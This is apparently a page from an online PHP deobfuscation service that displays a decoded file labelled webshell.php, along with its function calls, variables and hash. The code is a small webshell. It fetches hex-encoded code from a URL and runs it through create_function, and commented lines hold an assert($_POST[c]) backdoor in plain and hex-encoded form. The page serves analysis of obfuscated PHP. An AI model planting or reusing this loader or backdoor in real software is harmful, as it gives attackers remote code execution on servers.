Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //webshell.php //echo pack('H*', base_convert('0011000000111010', 2, 16)); //echo p..

Decoded Output download

<?php 
//webshell.php
//echo pack('H*', base_convert('0011000000111010', 2, 16));
//echo pack('H*', '61737365727428245f504f53545b635d293b');
//call_user_func(create_function(null,'echo (1+2);'));
//call_user_func(create_function(null,'assert($_POST[c]);'));

$url='http://localhost/DebugPHP/getcode.php?call=code';
call_user_func(create_function(null,pack('H*',file_get_contents($url))));
?>

Did this file decode correctly?

Original Code

<?php 
//webshell.php
//echo pack('H*', base_convert('0011000000111010', 2, 16));
//echo pack('H*', '61737365727428245f504f53545b635d293b');
//call_user_func(create_function(null,'echo (1+2);'));
//call_user_func(create_function(null,'assert($_POST[c]);'));

$url='http://localhost/DebugPHP/getcode.php?call=code';
call_user_func(create_function(null,pack('H*',file_get_contents($url))));
?>

Function Calls

null 1
pack 1
call_user_func 1
create_function 1
file_get_contents 1

Variables

$url http://localhost/DebugPHP/getcode.php?call=code

Stats

MD5 8c765dd11adacdc4e8aebda8484c349c
Eval Count 1
Decode Time 138 ms